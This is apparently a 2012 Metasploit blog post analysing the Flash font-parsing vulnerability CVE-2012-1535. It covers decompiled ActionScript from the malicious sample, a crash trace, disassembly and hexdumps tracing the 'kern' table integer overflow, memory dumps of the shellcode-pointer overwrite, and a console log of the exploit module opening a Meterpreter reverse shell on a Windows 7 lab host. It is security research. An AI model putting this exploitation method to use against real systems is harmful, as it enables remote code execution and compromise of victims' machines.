Last updated at Mon, 18 Dec 2023 21:21:28 GMT
Edit: Aug 26 2012.
Recently, a new Adobe Flash vulnerability (CVE-2012-1535) was being exploited in the wild as a zero-day in limited targeted attacks, in the form of a Word document. The Metasploit team managed to get our hands on the malware sample, and began our voodoo ritual in order to make this exploit available in the Metasploit Framework. Although Adobe officially has already released a patch (APSB12-18), and that the malware is pretty well documented, the vulnerability itself isn't (well, at least not in English) -- we figured it's time to update the blog.
When we began analyzing the the malicious Flash object file, we realized the vulnerability should be related to the parsing of the embedded font file because of the following source code:
public function TextBlock_createTextLineExample():void{
var _local1 = "Edit the world in hex.";
var _local2:FontDescription = new FontDescription("PSpop");
_local2.fontLookup = FontLookup.EMBEDDED_CFF;
var _local3:ElementFormat = new ElementFormat(_local2);
_local3.fontSize = 16;
var _local4:TextElement = new TextElement(_local1, _local3);
var _local5:TextBlock = new TextBlock();
_local5.content = _local4;
this.createLines(_local5);
}
private function createLines(_arg1:TextBlock):void{
var _local2:Number = 300;
var _local3:Number = 15;
var _local4:Number = 20;
var _local5:TextLine = _arg1.createTextLine(null, _local2);
while (_local5) {
_local5.x = _local3;
_local5.y = _local4;
_local4 = (_local4 + (_local5.height + 2));
addChild(_local5);
_local5 = _arg1.createTextLine(_local5, _local2);
};
}
When this font file is loaded, we trigger a clean crash similar to the following:
(538.7dc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\Macromed\Flash\Flash32_11_3_300_268.ocx -
eax=1e0d0000 ebx=1e0cfff0 ecx=000004f7 edx=00000000 esi=02a7dfa0 edi=02a78250
eip=1044168a esp=0013dd20 ebp=0013dd58 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00050206
Flash32_11_3_300_268!DllUnregisterServer+0x285c28:
1044168a ff5008 call dword ptr [eax+8] ds:0023:1e0d0008=????????
A quick look in IDA Pro reveals EAX comes from arg_0:
.text:103EF2D0 mov esi, [esp+4+arg_0] <-- ESI read from arg_0
.text:103EF2D4 test esi, esi
.text:103EF2D6 jz short loc_103EF2EB
.text:103EF2D8 push dword ptr [esi+0Ch]
.text:103EF2DB mov eax, [esi] <-- EAX read from ESI
.text:103EF2DD push eax
.text:103EF2DE call dword ptr [eax+8] <-- Crash
And a quick cross-reference brings us to this particular call:
Down p sub_103EF4A0+19B call sub_103EF2CF ; Call crashing function
Where sub_103EF4A0 19B points to the following:
.text:103EF63A loc_103EF63A: ; CODE XREF: sub_103EF4A0+A3 j
.text:103EF63A push esi
.text:103EF63B call sub_103EF2CF ; Call crashing function
At this point, we know there is some kind of corruption in ESI... but what's ESI for? Here, we trace ESI by first "decompiling" the entire function, and then grep 'v6' (ESI):
$ grep -n v6 sub_103ef4a0.txt
6: int v6; // esi@6
43: v6 = (*a1)(a1, 16);
44: v16 = v6;
45: if ( !v6 )
50: *(v6 + 8) = streama;
51: *v6 = a1;
52: *(v6 + 4) = v3;
54: *(v6 + 12) = v7;
59: sub_103EF2CF(v6);
As you can see, at line 43, ESI is assigned with a value. Turns out this is a when the function allocates memory (that we later discovered as the kern table memory):
.text:103EF4ED loc_103EF4ED: ; CODE XREF: sub_103EF4A0+37 j
.text:103EF4ED pop ebx
.text:103EF4EE cmp [ebp+stream], esi
.text:103EF4F1 jz loc_103EF655
.text:103EF4F7 mov eax, [ebp+arg_0]
.text:103EF4FA push 10h
.text:103EF4FC push eax
.text:103EF4FD call dword ptr [eax] ; Allocate memory
.text:103EF4FF mov esi, eax
We will call the above "memory 1", because there's another one ("memory 2") that comes pretty much right after:
.text:103EF514 loc_103EF514: ; CODE XREF: sub_103EF4A0+68 j
.text:103EF514 mov eax, [ebp+stream]
.text:103EF517 mov ecx, [ebp+arg_0] ;[arg_0] is our allocator
.text:103EF51A mov [esi+8], eax
.text:103EF51D shl eax, 4
.text:103EF520 push eax
.text:103EF521 push ecx
.text:103EF522 mov [esi], ecx
.text:103EF524 mov [esi+4], edi
.text:103EF527 call dword ptr [ecx]
.text:103EF529 pop ecx
.text:103EF52A pop ecx
.text:103EF52B xor ecx, ecx
.text:103EF52D mov [esi+0Ch], eax
In the above code, EAX is an user-controlled value, and is used as size. In our case, this value is always 0x10000000, and when the code does a "SHL EAX, 4", EAX will become 0x00 -- an integer overflow. Here's an experiment you can try in IRB and demonstrates the same purpose:
ruby-1.9.2-p180 :006 > [0x10000000 << 4].pack("V*").unpack("H*")
=> ["00000000"]
Again, since 0x10000000 is user-controlled, we need to find out where it comes from. We know that the crash occurs when the font is loaded, so we'll begin searching there:
$ d3v_binary_search.rb -i PSPop.otf -p 10000000 |grep HERE
00007800 00 02 00 09 00 03 00 09 00 00 00 10 00 00 00 10 |................|
The first offset (around 0x7800) doesn't seem to point to anything interesting. But the second one (0x8340), according to our TFF template with 010 Editor, shows that it falls into the "kern" header section:
struct tTable Table[8] | kern (1801810542) at 33604 for 15852 |
---|---|
ULONG checkSum | A466AE58h |
ULONG offset | 8344h |
ULONG length | 3DECh |
According to the TFF specifications, the 'kern' header has the following values:
Type | Name | Description |
---|---|---|
fixed32 | version | The version number of the kerning table (0x00010000 for the current version). |
uint32 | nTables | The number of subtables included in the kerning table. |
So at around 0x8340, here's how we should interpret the binary data:
$ cat PSPop.otf |hexdump -C |grep 00008340
00008340 00 00 00 00 00 01 00 00 10 00 00 00 1e 0c ff e8 |................|
^Version ^ nTables
At this point, we understand that when the version is 0x10000, and that when nTables has a value of 0x10000000 or higher, an integer overflow occurs for memory 2. With a little bit of clever breakpoints, we learned that memory 2 is always allocated before memory 1. And a before/after memory dump comparison reveals the overflow:
Memory 2:
Location | Before | After |
---|---|---|
0x03a69058
0x03a6906a 0x03a6907c 0x03a6908e 0x03a690a0 |
54 90 A6 03 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |
00 00 00 00 08 00 00 00 08 00 00 00 00 00 00 00 00
00 00 F0 FF 0C 1E 00 00 0D 1E FF FF FF FF 00 00 00 F0 FF 0C 1E 00 00 0D 1E FF FF FF FF 00 00 00 00 F0 0C 1E 00 00 0D 1E FF FF FF FF 00 00 00 00 F0 FF 0C 00 00 0D 1E FF FF FF FF 00 00 00 00 F0 FF 0C 1E 00 |
Memory 1 -- Notice the first two rows are overwritten, with the first 4 bytes being the pointer to our shellcode:
Location | Before | After |
---|---|---|
03a6d750
03a6d762 03a6d774 03a6d786 03a6d798 |
B0 C1 A6 03 50 82 A6 03 00 00 00 10 00 00 00 00 70
A6 03 2E 31 2E 33 00 00 00 00 00 00 00 00 B0 D7 A6 50 D1 A6 03 80 D8 A6 03 00 00 00 00 2F 6E 54 41 48 2E 74 78 74 2E 73 77 66 00 00 38 4F AA 03 80 D8 A6 00 00 00 00 00 00 00 00 c0 D6 A6 03 00 00 00 00 00 |
00 00 0d 1E FF FF FF FF 00 00 00 00 F0 FF 0C 1E 00
0d 1E FF FF FF FF 00 00 00 00 00 00 00 00 B0 D7 A6 50 D1 A6 03 80 D8 A6 03 00 00 00 00 2F 6E 54 41 48 2E 74 78 74 2E 73 77 66 00 00 38 4F FF 03 80 D8 A6 00 00 00 00 00 00 00 00 C0 D6 A6 03 00 00 00 00 00 |
Eventually, ESI points to 0x03a6d750, and when the following executes, we gain code execution:
.text:103EF2DB mov eax, [esi] ;0x03A6D750
.text:103EF2DD push eax
.text:103EF2DE call dword ptr [eax+8]
Unlike the original malware, the Metasploit module for CVE-2012-1535 delivers the attack as a browser exploit. And it currently supports Internet Explorer 6/7/8/9, Windows XP SP3 all the way to Windows 7 SP1. It specifically has ROP chains (in order to bypass Data Execution Prevention) for the following Flash builds under XP, otherwise it defaults to JRE ROP as "plan B":
- Flash 11.3.300.268
- Flash 11.3.300.265
- Flash 11.3.300.257
And here's an example of a successful assault against Windows 7 SP1:
msf exploit(adobe_flash_otf_font) > exploit
[*] Exploit running as background job.
[*] Started reverse handler on 10.6.255.78:4444
msf exploit(adobe_flash_otf_font) > [*] Using URL: http://0.0.0.0:8080/xF
[*] Local IP: http://10.6.255.78:8080/xF
[*] Server started.
[*] 10.6.255.89 adobe_flash_otf_font - User-agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
[*] 10.6.255.89 adobe_flash_otf_font - Client requesting: /xF
[*] 10.6.255.89 adobe_flash_otf_font - Sending HTML
[*] 10.6.255.89 adobe_flash_otf_font - User-agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
[*] 10.6.255.89 adobe_flash_otf_font - Client requesting: /HjSwC.txt.swf
[*] 10.6.255.89 adobe_flash_otf_font - Sending SWF
[*] 10.6.255.89 adobe_flash_otf_font - User-agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
[*] 10.6.255.89 adobe_flash_otf_font - Client requesting: /HjSwC.txt
[*] 10.6.255.89 adobe_flash_otf_font - Default back to JRE ROP
[*] 10.6.255.89 adobe_flash_otf_font - Sending Payload
[*] Sending stage (752128 bytes) to 10.6.255.89
[*] Meterpreter session 1 opened (10.6.255.78:4444 -> 10.6.255.89:49170) at 2012-08-22 15:28:26 -0500
[*] Session ID 1 (10.6.255.78:4444 -> 10.6.255.89:49170) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (1216)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2380
[+] Successfully migrated to process
To try out this exploit: Get your Metasploit download now or update your existing installation, and let us know if you have any further questions. In the meanwhile, we keep working further into this!
sinn3r & juan